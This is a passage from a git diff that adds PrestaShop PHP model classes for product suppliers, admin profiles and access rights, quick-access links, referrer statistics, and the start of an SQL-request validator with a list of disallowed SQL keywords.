3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @since 1.5.0 + */ +class ProductSupplierCore extends ObjectModel +{ + /** + * @var integer product ID + * */ + public $id_product; + + /** + * @var integer product attribute ID + * */ + public $id_product_attribute; + + /** + * @var integer the supplier ID + * */ + public $id_supplier; + + /** + * @var string The supplier reference of the product + * */ + public $product_supplier_reference; + + /** + * @var integer the currency ID for unit price tax excluded + * */ + public $id_currency; + + /** + * @var string The unit price tax excluded of the product + * */ + public $product_supplier_price_te; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'product_supplier', + 'primary' => 'id_product_supplier', + 'fields' => array( + 'product_supplier_reference' => array('type' => self::TYPE_STRING, 'validate' => 'isReference', 'size' => 32), + 'id_product' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'id_product_attribute' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'id_supplier' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'product_supplier_price_te' => array('type' => self::TYPE_FLOAT, 'validate' => 'isPrice'), + 'id_currency' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId'), + ), + ); + + /** + * @see ObjectModel::$webserviceParameters + */ + protected $webserviceParameters = array( + 'objectsNodeName' => 'product_suppliers', + 'objectNodeName' => 'product_supplier', + 'fields' => array( + 'id_product' => array('xlink_resource' => 'products'), + 'id_product_attribute' => array('xlink_resource' => 'combinations'), + 'id_supplier' => array('xlink_resource' => 'suppliers'), + 'id_currency' => array('xlink_resource' => 'currencies'), + ), + ); + + /** + * @see ObjectModel::delete() + */ + public function delete() + { + $res = parent::delete(); + + if ($res && $this->id_product_attribute == 0) + { + $items = ProductSupplier::getSupplierCollection($this->id_product, false); + foreach ($items as $item) + { + if ($item->id_product_attribute > 0) + $item->delete(); + } + } + + return $res; + } + + /** + * For a given product and supplier, gets the product supplier reference + * + * @param int $id_product + * @param int $id_product_attribute + * @param int $id_supplier + * @return string + */ + public static function getProductSupplierReference($id_product, $id_product_attribute, $id_supplier) + { + // build query + $query = new DbQuery(); + $query->select('ps.product_supplier_reference'); + $query->from('product_supplier', 'ps'); + $query->where('ps.id_product = '.(int)$id_product.' + AND ps.id_product_attribute = '.(int)$id_product_attribute.' + AND ps.id_supplier = '.(int)$id_supplier + ); + + return Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue($query); + } + + /** + * For a given product and supplier, gets the product supplier unit price + * + * @param int $id_product + * @param int $id_product_attribute + * @param int $id_supplier + * @param bool $with_currency Optional + * @return array + */ + public static function getProductSupplierPrice($id_product, $id_product_attribute, $id_supplier, $with_currency = false) + { + // build query + $query = new DbQuery(); + $query->select('ps.product_supplier_price_te'); + if ($with_currency) + $query->select('ps.id_currency'); + $query->from('product_supplier', 'ps'); + $query->where('ps.id_product = '.(int)$id_product.' + AND ps.id_product_attribute = '.(int)$id_product_attribute.' + AND ps.id_supplier = '.(int)$id_supplier + ); + + if (!$with_currency) + return Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue($query); + + $res = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($query); + if (isset($res[0])) + return $res[0]; + + return $res; + } + + /** + * For a given product and supplier, gets corresponding ProductSupplier ID + * + * @param int $id_product + * @param int $id_product_attribute + * @param int $id_supplier + * @return array + */ + public static function getIdByProductAndSupplier($id_product, $id_product_attribute, $id_supplier) + { + // build query + $query = new DbQuery(); + $query->select('ps.id_product_supplier'); + $query->from('product_supplier', 'ps'); + $query->where('ps.id_product = '.(int)$id_product.' + AND ps.id_product_attribute = '.(int)$id_product_attribute.' + AND ps.id_supplier = '.(int)$id_supplier + ); + + return Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue($query); + } + + /** + * For a given product, retrieves its suppliers + * + * @param int $id_product + * @param int $group_by_supplier + * @return Collection + */ + public static function getSupplierCollection($id_product, $group_by_supplier = true) + { + $suppliers = new Collection('ProductSupplier'); + $suppliers->where('id_product', '=', (int)$id_product); + + if ($group_by_supplier) + $suppliers->groupBy('id_supplier'); + + return $suppliers; + } + + /** + * For a given Supplier, Product, returns the purchased price + * + * @param int $id_product + * @param int $id_product_attribute Optional + * @return Array keys: price_te, id_currency + */ + public static function getProductPrice($id_supplier, $id_product, $id_product_attribute = 0) + { + if (is_null($id_supplier) || is_null($id_product)) + return; + + $query = new DbQuery(); + $query->select('product_supplier_price_te as price_te, id_currency'); + $query->from('product_supplier'); + $query->where('id_product = '.(int)$id_product.' AND id_product_attribute = '.(int)$id_product_attribute); + $query->where('id_supplier = '.(int)$id_supplier); + + $row = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow($query); + return $row['price_te']; + } +} diff --git a/classes/Profile.php b/classes/Profile.php new file mode 100755 index 0000000..1ea55b3 --- /dev/null +++ b/classes/Profile.php @@ -0,0 +1,154 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class ProfileCore extends ObjectModel +{ + /** @var string Name */ + public $name; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'profile', + 'primary' => 'id_profile', + 'multilang' => true, + 'fields' => array( + // Lang fields + 'name' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isGenericName', 'required' => true, 'size' => 32), + ), + ); + + protected static $_cache_accesses = array(); + + /** + * Get all available profiles + * + * @return array Profiles + */ + public static function getProfiles($id_lang) + { + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT p.`id_profile`, `name` + FROM `'._DB_PREFIX_.'profile` p + LEFT JOIN `'._DB_PREFIX_.'profile_lang` pl ON (p.`id_profile` = pl.`id_profile` AND `id_lang` = '.(int)$id_lang.') + ORDER BY `id_profile` ASC'); + } + + /** + * Get the current profile name + * + * @return string Profile + */ + public static function getProfile($id_profile, $id_lang = null) + { + if (!$id_lang) + $id_lang = Configuration::get('PS_LANG_DEFAULT'); + + return Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow(' + SELECT `name` + FROM `'._DB_PREFIX_.'profile` p + LEFT JOIN `'._DB_PREFIX_.'profile_lang` pl ON (p.`id_profile` = pl.`id_profile`) + WHERE p.`id_profile` = '.(int)$id_profile.' + AND pl.`id_lang` = '.(int)$id_lang + ); + } + + public function add($autodate = true, $null_values = false) + { + if (parent::add($autodate, true)) + { + $result = Db::getInstance()->execute('INSERT INTO '._DB_PREFIX_.'access (SELECT '.(int)$this->id.', id_tab, 0, 0, 0, 0 FROM '._DB_PREFIX_.'tab)'); + $result &= Db::getInstance()->execute(' + INSERT INTO '._DB_PREFIX_.'module_access + (`id_profile`, `id_module`, `configure`, `view`) + (SELECT '.(int)$this->id.', id_module, 0, 1 FROM '._DB_PREFIX_.'module) + '); + return $result; + } + return false; + } + + public function delete() + { + if (parent::delete()) + return ( + Db::getInstance()->execute('DELETE FROM `'._DB_PREFIX_.'access` WHERE `id_profile` = '.(int)$this->id) + && Db::getInstance()->execute('DELETE FROM `'._DB_PREFIX_.'module_access` WHERE `id_profile` = '.(int)$this->id) + ); + return false; + } + + public static function getProfileAccess($id_profile, $id_tab) + { + // getProfileAccesses is cached so there is no performance leak + $accesses = Profile::getProfileAccesses($id_profile); + return (isset($accesses[$id_tab]) ? $accesses[$id_tab] : false); + } + + public static function getProfileAccesses($id_profile, $type = 'id_tab') + { + if (!in_array($type, array('id_tab', 'class_name'))) + return false; + + if (!isset(self::$_cache_accesses[$id_profile])) + self::$_cache_accesses[$id_profile] = array(); + + if (!isset(self::$_cache_accesses[$id_profile][$type])) + { + self::$_cache_accesses[$id_profile][$type] = array(); + // Super admin profile has full auth + if ($id_profile == _PS_ADMIN_PROFILE_) + { + foreach (Tab::getTabs(Context::getContext()->language->id) as $tab) + self::$_cache_accesses[$id_profile][$type][$tab[$type]] = array( + 'id_profile' => _PS_ADMIN_PROFILE_, + 'id_tab' => $tab['id_tab'], + 'class_name' => $tab['class_name'], + 'view' => '1', + 'add' => '1', + 'edit' => '1', + 'delete' => '1', + ); + } + else + { + $result = Db::getInstance()->executeS(' + SELECT * + FROM `'._DB_PREFIX_.'access` a + LEFT JOIN `'._DB_PREFIX_.'tab` t ON t.id_tab = a.id_tab + WHERE `id_profile` = '.(int)$id_profile); + + foreach ($result as $row) + self::$_cache_accesses[$id_profile][$type][$row[$type]] = $row; + } + } + + return self::$_cache_accesses[$id_profile][$type]; + } +} + + diff --git a/classes/QuickAccess.php b/classes/QuickAccess.php new file mode 100755 index 0000000..00c6fc0 --- /dev/null +++ b/classes/QuickAccess.php @@ -0,0 +1,68 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class QuickAccessCore extends ObjectModel +{ + /** @var string Name */ + public $name; + + /** @var string Link */ + public $link; + + /** @var boolean New windows or not */ + public $new_window; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'quick_access', + 'primary' => 'id_quick_access', + 'multilang' => true, + 'fields' => array( + 'link' => array('type' => self::TYPE_STRING, 'validate' => 'isUrl', 'required' => true, 'size' => 128), + 'new_window' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool', 'required' => true), + + // Lang fields + 'name' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isGenericName', 'required' => true, 'size' => 32), + ), + ); + + /** + * Get all available quick_accesses + * + * @return array QuickAccesses + */ + public static function getQuickAccesses($id_lang) + { + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT * + FROM `'._DB_PREFIX_.'quick_access` qa + LEFT JOIN `'._DB_PREFIX_.'quick_access_lang` qal ON (qa.`id_quick_access` = qal.`id_quick_access` AND qal.`id_lang` = '.(int)$id_lang.') + ORDER BY `name` ASC'); + } +} + diff --git a/classes/Referrer.php b/classes/Referrer.php new file mode 100755 index 0000000..ed0e457 --- /dev/null +++ b/classes/Referrer.php @@ -0,0 +1,355 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class ReferrerCore extends ObjectModel +{ + public $id_shop; + public $name; + public $passwd; + + public $http_referer_regexp; + public $http_referer_like; + public $request_uri_regexp; + public $request_uri_like; + public $http_referer_regexp_not; + public $http_referer_like_not; + public $request_uri_regexp_not; + public $request_uri_like_not; + + public $base_fee; + public $percent_fee; + public $click_fee; + + public $date_add; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'referrer', + 'primary' => 'id_referrer', + 'fields' => array( + 'name' => array('type' => self::TYPE_STRING, 'validate' => 'isGenericName', 'required' => true, 'size' => 64), + 'passwd' => array('type' => self::TYPE_STRING, 'validate' => 'isPasswd', 'size' => 32), + 'http_referer_regexp' => array('type' => self::TYPE_STRING, 'validate' => 'isCleanHtml', 'size' => 64), + 'request_uri_regexp' => array('type' => self::TYPE_STRING, 'validate' => 'isCleanHtml', 'size' => 64), + 'http_referer_like' => array('type' => self::TYPE_STRING, 'validate' => 'isCleanHtml', 'size' => 64), + 'request_uri_like' => array('type' => self::TYPE_STRING, 'validate' => 'isCleanHtml', 'size' => 64), + 'http_referer_regexp_not' => array('type' => self::TYPE_STRING, 'validate' => 'isCleanHtml'), + 'request_uri_regexp_not' => array('type' => self::TYPE_STRING, 'validate' => 'isCleanHtml'), + 'http_referer_like_not' => array('type' => self::TYPE_STRING, 'validate' => 'isCleanHtml'), + 'request_uri_like_not' => array('type' => self::TYPE_STRING, 'validate' => 'isCleanHtml'), + 'base_fee' => array('type' => self::TYPE_FLOAT, 'validate' => 'isFloat'), + 'percent_fee' => array('type' => self::TYPE_FLOAT, 'validate' => 'isPercentage'), + 'click_fee' => array('type' => self::TYPE_FLOAT, 'validate' => 'isFloat'), + 'date_add' => array('type' => self::TYPE_DATE, 'validate' => 'isDate'), + ), + ); + + protected static $_join = '(r.http_referer_like IS NULL OR r.http_referer_like = \'\' OR cs.http_referer LIKE r.http_referer_like) + AND (r.request_uri_like IS NULL OR r.request_uri_like = \'\' OR cs.request_uri LIKE r.request_uri_like) + AND (r.http_referer_like_not IS NULL OR r.http_referer_like_not = \'\' OR cs.http_referer NOT LIKE r.http_referer_like_not) + AND (r.request_uri_like_not IS NULL OR r.request_uri_like_not = \'\' OR cs.request_uri NOT LIKE r.request_uri_like_not) + AND (r.http_referer_regexp IS NULL OR r.http_referer_regexp = \'\' OR cs.http_referer REGEXP r.http_referer_regexp) + AND (r.request_uri_regexp IS NULL OR r.request_uri_regexp = \'\' OR cs.request_uri REGEXP r.request_uri_regexp) + AND (r.http_referer_regexp_not IS NULL OR r.http_referer_regexp_not = \'\' OR cs.http_referer NOT REGEXP r.http_referer_regexp_not) + AND (r.request_uri_regexp_not IS NULL OR r.request_uri_regexp_not = \'\' OR cs.request_uri NOT REGEXP r.request_uri_regexp_not)'; + + public function add($autodate = true, $null_values = false) + { + if (!($result = parent::add($autodate, $null_values))) + return false; + Referrer::refreshCache(array(array('id_referrer' => $this->id))); + Referrer::refreshIndex(array(array('id_referrer' => $this->id))); + return $result; + } + + public static function cacheNewSource($id_connections_source) + { + if (!$id_connections_source) + return; + + $sql = 'INSERT INTO '._DB_PREFIX_.'referrer_cache (id_referrer, id_connections_source) ( + SELECT id_referrer, id_connections_source + FROM '._DB_PREFIX_.'referrer r + LEFT JOIN '._DB_PREFIX_.'connections_source cs ON ('.self::$_join.') + WHERE id_connections_source = '.(int)$id_connections_source.' + )'; + Db::getInstance()->execute($sql); + } + + /** + * Get list of referrers connections of a customer + * + * @param int $id_customer + */ + public static function getReferrers($id_customer) + { + $sql = 'SELECT DISTINCT c.date_add, r.name, s.name AS shop_name + FROM '._DB_PREFIX_.'guest g + LEFT JOIN '._DB_PREFIX_.'connections c ON c.id_guest = g.id_guest + LEFT JOIN '._DB_PREFIX_.'connections_source cs ON c.id_connections = cs.id_connections + LEFT JOIN '._DB_PREFIX_.'referrer r ON ('.self::$_join.') + LEFT JOIN '._DB_PREFIX_.'shop s ON s.id_shop = c.id_shop + WHERE g.id_customer = '.(int)$id_customer.' + AND r.name IS NOT NULL + ORDER BY c.date_add DESC'; + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); + } + + /** + * Get some statistics on visitors connection for current referrer + * + * @param int $id_product + * @param int $employee + * @param Context $context + */ + public function getStatsVisits($id_product, $employee) + { + $join = $where = ''; + if ($id_product) + { + $join = 'LEFT JOIN `'._DB_PREFIX_.'page` p ON cp.`id_page` = p.`id_page` + LEFT JOIN `'._DB_PREFIX_.'page_type` pt ON pt.`id_page_type` = p.`id_page_type`'; + $where = ' AND pt.`name` = \'product\' + AND p.`id_object` = '.(int)$id_product; + } + + $sql = 'SELECT COUNT(DISTINCT cs.id_connections_source) AS visits, + COUNT(DISTINCT cs.id_connections) as visitors, + COUNT(DISTINCT c.id_guest) as uniqs, + COUNT(DISTINCT cp.time_start) as pages + FROM '._DB_PREFIX_.'referrer_cache rc + LEFT JOIN '._DB_PREFIX_.'referrer r ON rc.id_referrer = r.id_referrer + LEFT JOIN '._DB_PREFIX_.'referrer_shop rs ON r.id_referrer = rs.id_referrer + LEFT JOIN '._DB_PREFIX_.'connections_source cs ON rc.id_connections_source = cs.id_connections_source + LEFT JOIN '._DB_PREFIX_.'connections c ON cs.id_connections = c.id_connections + LEFT JOIN '._DB_PREFIX_.'connections_page cp ON cp.id_connections = c.id_connections + '.$join.' + WHERE cs.date_add BETWEEN '.ModuleGraph::getDateBetween($employee).' + '.Shop::addSqlRestriction(false, 'rs').' + '.Shop::addSqlRestriction(false, 'c').' + AND rc.id_referrer = '.(int)$this->id + .$where; + return Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow($sql); + } + + /** + * Get some statistics on customers registrations for current referrer + * + * @param int $id_product + * @param int $employee + * @param Context $context + */ + public function getRegistrations($id_product, $employee) + { + $join = $where = ''; + if ($id_product) + { + $join = 'LEFT JOIN '._DB_PREFIX_.'connections_page cp ON cp.id_connections = c.id_connections + LEFT JOIN `'._DB_PREFIX_.'page` p ON cp.`id_page` = p.`id_page` + LEFT JOIN `'._DB_PREFIX_.'page_type` pt ON pt.`id_page_type` = p.`id_page_type`'; + $where = ' AND pt.`name` = \'product\' + AND p.`id_object` = '.(int)$id_product; + } + + $sql = 'SELECT COUNT(DISTINCT cu.id_customer) AS registrations + FROM '._DB_PREFIX_.'referrer_cache rc + LEFT JOIN '._DB_PREFIX_.'referrer_shop rs ON rc.id_referrer = rs.id_referrer + LEFT JOIN '._DB_PREFIX_.'connections_source cs ON rc.id_connections_source = cs.id_connections_source + LEFT JOIN '._DB_PREFIX_.'connections c ON cs.id_connections = c.id_connections + LEFT JOIN '._DB_PREFIX_.'guest g ON g.id_guest = c.id_guest + LEFT JOIN '._DB_PREFIX_.'customer cu ON cu.id_customer = g.id_customer + '.$join.' + WHERE cu.date_add BETWEEN '.ModuleGraph::getDateBetween($employee).' + '.Shop::addSqlRestriction(false, 'rs').' + '.Shop::addSqlRestriction(false, 'c').' + '.Shop::addSqlRestriction(Shop::SHARE_CUSTOMER, 'cu').' + AND cu.date_add > cs.date_add + AND rc.id_referrer = '.(int)$this->id + .$where; + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow($sql); + return (int)$result['registrations']; + } + + /** + * Get some statistics on orders for current referrer + * + * @param int $id_product + * @param int $employee + */ + public function getStatsSales($id_product, $employee) + { + $join = $where = ''; + if ($id_product) + { + $join = 'LEFT JOIN '._DB_PREFIX_.'order_detail od ON oo.id_order = od.id_order'; + $where = ' AND od.product_id = '.(int)$id_product; + } + + $sql = 'SELECT oo.id_order + FROM '._DB_PREFIX_.'referrer_cache rc + LEFT JOIN '._DB_PREFIX_.'referrer_shop rs ON rc.id_referrer = rs.id_referrer + INNER JOIN '._DB_PREFIX_.'connections_source cs ON rc.id_connections_source = cs.id_connections_source + INNER JOIN '._DB_PREFIX_.'connections c ON cs.id_connections = c.id_connections + INNER JOIN '._DB_PREFIX_.'guest g ON g.id_guest = c.id_guest + LEFT JOIN '._DB_PREFIX_.'orders oo ON oo.id_customer = g.id_customer + '.$join.' + WHERE oo.invoice_date BETWEEN '.ModuleGraph::getDateBetween($employee).' + '.Shop::addSqlRestriction(false, 'rs').' + '.Shop::addSqlRestriction(false, 'c').' + '.Shop::addSqlRestriction(Shop::SHARE_ORDER, 'oo').' + AND oo.date_add > cs.date_add + AND rc.id_referrer = '.(int)$this->id.' + AND oo.valid = 1' + .$where; + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); + + $implode = array(); + foreach ($result as $row) + if ((int)$row['id_order']) + $implode[] = (int)$row['id_order']; + + if ($implode) + { + $sql = 'SELECT COUNT(id_order) AS orders, SUM(total_paid_real / conversion_rate) AS sales + FROM '._DB_PREFIX_.'orders + WHERE id_order IN ('.implode($implode, ',').') + '.Shop::addSqlRestriction(Shop::SHARE_ORDER).' + AND valid = 1'; + return Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow($sql); + } + else + return array('orders' => 0, 'sales' => 0); + } + + /** + * Refresh cache data of referrer statistics in referrer_shop table + * + * @param array $referrers + * @param int $employee + */ + public static function refreshCache($referrers = null, $employee = null) + { + if (!$referrers || !is_array($referrers)) + $referrers = Db::getInstance()->executeS('SELECT id_referrer FROM '._DB_PREFIX_.'referrer'); + foreach ($referrers as $row) + { + $referrer = new Referrer($row['id_referrer']); + foreach (Shop::getShops(true, null, true) as $shop_id) + { + if (!$referrer->isAssociatedToShop($shop_id)) + continue; + + $shop = new Shop($shop_id); + $stats_visits = $referrer->getStatsVisits(null, $employee); + $registrations = $referrer->getRegistrations(null, $employee); + $stats_sales = $referrer->getStatsSales(null, $employee); + + Db::getInstance()->update('referrer_shop', array( + 'cache_visitors' => $stats_visits['uniqs'], + 'cache_visits' => $stats_visits['visits'], + 'cache_pages' => $stats_visits['pages'], + 'cache_registrations' => $registrations, + 'cache_orders' => $stats_sales['orders'], + 'cache_sales' => number_format($stats_sales['sales'], 2, '.', ''), + 'cache_reg_rate' => $stats_visits['uniqs'] ? $registrations / $stats_visits['uniqs'] : 0, + 'cache_order_rate' => $stats_visits['uniqs'] ? $stats_sales['orders'] / $stats_visits['uniqs'] : 0, + ), 'id_referrer = '.$referrer->id.' AND id_shop = '.$shop_id); + } + } + + Configuration::updateValue('PS_REFERRERS_CACHE_LIKE', ModuleGraph::getDateBetween($employee)); + Configuration::updateValue('PS_REFERRERS_CACHE_DATE', date('Y-m-d H:i:s')); + return true; + } + + /** + * Cache liaison between connections_source data and referrers data + * + * @param array $referrers + */ + public static function refreshIndex($referrers = null) + { + if (!$referrers || !is_array($referrers)) + { + Db::getInstance()->execute('TRUNCATE '._DB_PREFIX_.'referrer_cache'); + Db::getInstance()->execute(' + INSERT INTO '._DB_PREFIX_.'referrer_cache (id_referrer, id_connections_source) ( + SELECT id_referrer, id_connections_source + FROM '._DB_PREFIX_.'referrer r + LEFT JOIN '._DB_PREFIX_.'connections_source cs ON ('.self::$_join.') + )'); + } + else + foreach ($referrers as $row) + { + Db::getInstance()->execute('DELETE FROM '._DB_PREFIX_.'referrer_cache WHERE id_referrer = '.(int)$row['id_referrer']); + Db::getInstance()->execute(' + INSERT INTO '._DB_PREFIX_.'referrer_cache (id_referrer, id_connections_source) ( + SELECT id_referrer, id_connections_source + FROM '._DB_PREFIX_.'referrer r + LEFT JOIN '._DB_PREFIX_.'connections_source cs ON ('.self::$_join.') + WHERE id_referrer = '.(int)$row['id_referrer'].' + )'); + } + } + + public static function getAjaxProduct($id_referrer, $id_product, $employee = null) + { + $context = Context::getContext(); + $product = new Product($id_product, false, Configuration::get('PS_LANG_DEFAULT')); + $currency = Currency::getCurrencyInstance(Configuration::get('PS_CURRENCY_DEFAULT')); + $referrer = new Referrer($id_referrer); + $stats_visits = $referrer->getStatsVisits($id_product, $employee); + $registrations = $referrer->getRegistrations($id_product, $employee); + $stats_sales = $referrer->getStatsSales($id_product, $employee); + + // If it's a product and it has no visits nor orders + if ((int)$id_product && !$stats_visits['visits'] && !$stats_sales['orders']) + exit; + + $json_array = array( + 'id_product' => (int)$product->id, + 'product_name' => addslashes($product->name), + 'uniqs' => (int)$stats_visits['uniqs'], + 'visitors' => (int)$stats_visits['visitors'], + 'visits' => (int)$stats_visits['visits'], + 'pages' => (int)$stats_visits['pages'], + 'registrations' => (int)$registrations, + 'orders' => (int)$stats_sales['orders'], + 'sales' => Tools::displayPrice($stats_sales['sales'], $currency), + 'cart' => Tools::displayPrice(((int)$stats_sales['orders'] ? $stats_sales['sales'] / (int)$stats_sales['orders'] : 0), $currency), + 'reg_rate' => number_format((int)$stats_visits['uniqs'] ? (int)$registrations / (int)$stats_visits['uniqs'] : 0, 4, '.', ''), + 'order_rate' => number_format((int)$stats_visits['uniqs'] ? (int)$stats_sales['orders'] / (int)$stats_visits['uniqs'] : 0, 4, '.', ''), + 'click_fee' => Tools::displayPrice((int)$stats_visits['visits'] * $referrer->click_fee, $currency), + 'base_fee' => Tools::displayPrice($stats_sales['orders'] * $referrer->base_fee, $currency), + 'percent_fee' => Tools::displayPrice($stats_sales['sales'] * $referrer->percent_fee / 100, $currency), + ); + + die ('['.Tools::jsonEncode($json_array).']'); + } +} \ No newline at end of file diff --git a/classes/RequestSql.php b/classes/RequestSql.php new file mode 100755 index 0000000..43ac2a8 --- /dev/null +++ b/classes/RequestSql.php @@ -0,0 +1,653 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class RequestSqlCore extends ObjectModel +{ + public $name; + public $sql; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'request_sql', + 'primary' => 'id_request_sql', + 'fields' => array( + 'name' => array('type' => self::TYPE_STRING, 'validate' => 'isString', 'required' => true, 'size' => 200), + 'sql' => array('type' => self::TYPE_STRING, 'validate' => 'isString', 'required' => true, 'size' => 1000), + ), + ); + + /** @var array : List of params to tested */ + public $tested = array( + 'required' => array('SELECT', 'FROM'), + 'option' => array('WHERE', 'ORDER', 'LIMIT', 'HAVING', 'GROUP', 'UNION'), + 'operator' => array( + 'AND', '&&', 'BETWEEN', 'AND', 'BINARY', '&', '~', '|', '^', 'CASE', 'WHEN', 'END', 'DIV', '/', '<=>', '=', '>=', + '>', 'IS', 'NOT', 'NULL', '<<', '<=', '<', 'LIKE', '-', '%', '!=', '<>', 'REGEXP', '!', '||', 'OR', '+', '>>', 'RLIKE', 'SOUNDS', '*', + '-', 'XOR', 'IN' + ), + 'function' => array( + 'AVG', 'SUM', 'COUNT', 'MIN', 'MAX', 'STDDEV', 'STDDEV_SAMP', 'STDDEV_POP', 'VARIANCE', 'VAR_SAMP', 'VAR_POP', + 'GROUP_CONCAT', 'BIT_AND', 'BIT_OR', 'BIT_XOR' + ), + 'unauthorized' => array( + 'DELETE', 'ALTER', 'INSERT', 'REPLACE', 'CREATE', 'TRUNCATE', 'OPTIMIZE', 'GRANT', 'REVOKE', 'SHOW', 'HANDLER', + 'LOAD', 'ROLLBACK', 'SAVEPOINT', 'UNLOCK', 'INSTALL', 'UNINSTALL', 'ANALZYE', 'BACKUP', 'CHECK', 'CHECKSUM', 'REPAIR', 'RESTORE', 'CACHE', + 'DESCRIBE', 'EXPLAIN', 'USE', 'HELP', 'SET', 'DUPLICATE', 'VALUES', 'INTO', 'RENAME', 'CALL', 'PROCEDURE', 'FUNCTION', 'DATABASE', 'SERVER', + 'LOGFILE', 'DEFINER', 'RETURNS', 'EVENT', 'TABLESPACE', 'VIEW', 'TRIGGER', 'DATA', 'DO', 'PASSWORD', 'USER', 'PLUGIN', 'FLUSH', 'KILL', + 'RESET', 'START', 'STOP', 'PURGE', 'EXECUTE', 'PREPARE', 'DEALLOCATE', 'LOCK', 'USING', 'DROP', 'FOR', 'UPDATE', 'BEGIN', 'BY', 'ALL', 'SHARE', + 'MODE', 'TO','KEY', 'DISTINCTROW', 'DISTINCT', 'HIGH_PRIORITY', 'LOW_PRIORITY', 'DELAYED', 'IGNORE', 'FORCE', 'STRAIGHT_JOIN', + 'SQL_SMALL_RESULT', 'SQL_BIG_RESULT', 'QUICK', 'SQL_BUFFER_RESULT', 'SQL_CACHE', 'SQL_NO_CACHE', 'SQL_CALC_FOUND_ROWS', 'WITH' + ) + ); + + public $attributes = array( + 'passwd' => '*******************', + 'secure_key' => '*******************' + ); + + /** @var array : list of errors */ + public $error_sql = array(); + + /** + * Get list of request SQL + * + * @static + * @return array|bool + */ + public static function getRequestSql() + { + if (!$result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS('SELECT * FROM `'._DB_PREFIX_.'request_sql` ORDER BY `id_request_sql`')) + return false; + + $request_sql = array(); + foreach ($result as $row) + $request_sql[] = $row['sql']; + + return $request_sql; + } + + /** + * Get list of request SQL by id request + * + * @static + * @param $id + * @return array + */ + public static function getRequestSqlById($id) + { + return Db::getInstance()->executeS('SELECT `sql` FROM `'._DB_PREFIX_.'request_sql` WHERE `id_request_sql` = '.(int)$id); + } + + /** + * Call the parserSQL() method in 